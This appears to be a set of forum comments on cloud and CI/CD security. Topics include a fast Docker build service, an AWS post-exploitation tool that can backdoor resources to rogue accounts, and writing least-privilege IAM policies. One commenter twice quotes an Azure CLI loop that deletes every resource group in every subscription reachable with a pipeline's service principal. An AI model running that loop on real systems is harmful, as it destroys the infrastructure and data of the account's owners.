Depot is freaking awesome. Sped up two of our Docker image builds from 11 minutes to 1-1.5 minutes and the drop-in Docker build replacement in GitHub Actions was super easy. Can't imagine our CI/CD system without it.
Yes, you'd have to leverage compromised credentials. That could be obtained via SSRF, RCE on a privileged box, leakage of user access keys, or other means. In the context of a penetration test, it's more of a post-exploitation tool.
for sub in `az account list | jq -r '.[].id'`; do \
for rg in `az group list --subscription $sub | jq -r '.[].name'`; do \
az group delete --name ${rg} --subscription $sub --no-wait --yes; \
done; done;
>I did uncover a ridiculously destructive approach to abusing Azure Service Principals in CI/CD pipelines that deploy infrastructure in Azure (Confused Deputy problem):
> for sub in `az account list | jq -r '.[].id'`; do \ for rg in `az group list --subscription $sub | jq -r '.[].name'`; do \ az group delete --name ${rg} --subscription $sub --no-wait --yes; \ done; done;
The CI provider giving you an over-privileged SP to play with needs to fix that, sure. SPs start with zero role assignments, so it's particularly egregious that they gave it unnecessary permissions.
(Though, for the CI providers I'm familiar with, you the user would be the one creating the SP and providing it to the pipeline. So making it over-privileged would be your mistake.)
But it's not a Confused Deputy problem when you have a service principal with delete access to all resource groups in all subscription and tell it delete those resource groups. Confused Deputy involves a higher-privileged server forgetting to downgrade its privileges on behalf of a low-prvivilege client. The SP is the client in this case - it was created with high privileges in the first place.
Author here :) Endgame exploits/abuses features. If it was a bug, I'd work with AWS to solve the problem, but with abusing features - that would result in years of unsatisfied feature requests. This should push the issue along.
>...and it's not even a hacking tool!
It can be used to backdoor resources to rogue accounts, so I'd say it's a hacking tool and can/should be used on penetration tests. I'd certainly use it on a pentest :)
Salesforce also runs Heroku, which is one of the biggest AWS wrappers around. I'm really glad they're active in security auditing here, it's a real value add to customers of Heroku / Salesforce services to see evidence of their work to analyze security.
Not sure what the shock is with seeing security tools like this released, the vast majority of security tools are open source, how is this different to what we have been seeing the past 30 year?
Not to mention companies such as Google, Netflix and Mozilla all release security tools just like this.
Someone has actually been working on a project like this. While not 100% complete it's the best working one I know of. Can definitely relate to the problem being described here, especially when writing IAM policies for terraform deployments.
Probably can’t be open sourced given IP under contracts but I could try to re-write it. There’s some new services in IAM that could be leveraged to make it more accurate and cheaper to use, too.
Thank you for putting this idea in my head! I’ve been trying to get better at expressing infrastructure as code, and one of the big blockers has been how adding new services to e.g. Terraform is tough when you don’t know all their permissions they need (see also https://github.com/hashicorp/terraform/issues/2834 for example).
Using a test AWS environment to stage and then checking CloudTrail to see what was actually called would be a step forward. Having software to extract it would be even better.
